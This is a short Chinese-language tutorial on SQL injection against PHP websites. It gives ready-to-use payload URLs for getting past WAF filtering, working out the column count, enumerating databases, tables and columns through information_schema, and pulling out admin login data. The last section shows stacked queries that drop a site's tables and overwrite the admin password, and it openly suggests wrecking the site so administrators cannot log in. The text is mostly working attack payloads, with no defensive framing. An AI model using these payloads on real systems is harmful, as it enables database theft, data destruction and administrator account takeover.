SQL注入中基础的几个问题及解决方法
以 php 为例 引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码,WAF 用于拦截恶意代码,但是 WAF 很好绕过,规则是死的,人是活的。WAF 部署在服务器端,根据预先定义的规则对 http 请求进行过滤,继而拦截一些通用的必然 xss 和 sql 攻击。
以 php 为例
引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码,WAF 用于拦截恶意代码,但是 WAF 很好绕过,规则是死的,人是活的。WAF 部署在服务器端,根据预先定义的规则对 http 请求进行过滤,继而拦截一些通用的必然 xss 和 sql 攻击。
Order by 语句被拦截?
这个情况很少发生,,但是有时候 WAF 由于某些原因会拦截,不过,我们可以绕过,方法很简单,用 Group by 就可以了。因为不再 WAF 的规则列表里
比如下面这样提示 403 forbidden
?id=1 order by 100--可以尝试一下 group by
?id=1 group by 100-- 成功
但是,有可能这个还会被拦截。所以我们使用一条流传不那么广泛的一个语句。那就是
(主查询语句)=(select 1)
?id=8 and (select * from admins)=(select 1)
可能会返回一个错误,类似 Operand should contain 5 column(s).
这样我们就知道有 5 列了。
然后 union select 就懂了。。
?id=-8 union select 1,2,3,4,5--order by 10000 了仍然没有报错?
这里讲一下有时候 order by 可以用,但是到 10000 了还是不报错,与上一节不同的是,上
一节是请求被 WAF 拦截,这里呢,则是因为注入语句有点不同,当我第一次遇到的时候,
我天真的以为数据库表里真的有 10000 列。答案很简单,order by 1000000 还是不报错,是
因为我们的注入语句没有运行。
?id=9 order by 10000000000-- 不报错
我们稍微改变一下 url ,在 id 后面加一个单引号,并且在最后加一个加号。
?id=9' order by 10000000--+ 报错
然后开始使用 union 查询就行了,方法一样。
?id=-9' union select 1,2,3,4,5,6,7,8--+
从其他数据库里获取数据
有时候我们注入成功了,但是读出来的表都是些新闻啊,相册啊,文章啊,之类的,我们要
找的可是管理,登录表啊。这时候我们就需要看一下是不是还有其他的数据库。
首先获取所有的数据库名:
?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
然后获得指定数据库的表:
?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (这里填写数据库 hex 编码)
然后获取所有列:
?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables
where table_schema=(这里填写数据库 hex 编码) and table_name=(这里填写表名的 hex 编码)
通过 SQL 注入可以修改数据库里的信息吗?
SQL 可以查询,,更新,插入信息,所以,查询信息只是其中的一个功能,有时候无法破解
管理员帐号的 MD5 值。那么为什么不自己加一个呢..insert 插入语句就可以,如果找不到
后台,邪恶一点,干脆直接 drop 掉整个表,这样,管理员也登陆不上了。网站也坏了。还
可以通过 update 更新语句来修改管理员密码,
?id=1
假设这里存在注入。
我们通过 union 获取了一些表名,比如有个 news,那么我们通过下面这个语句删除 news
表。
?id=1; DROP TABLE news
然后网站所有的新闻内容就没了,如果要该更改管理员密码,那么这样:
?id=1; UPDATE 'admin_login' SET 'password' = '你自己的 md5' WHERE login_name='admin'--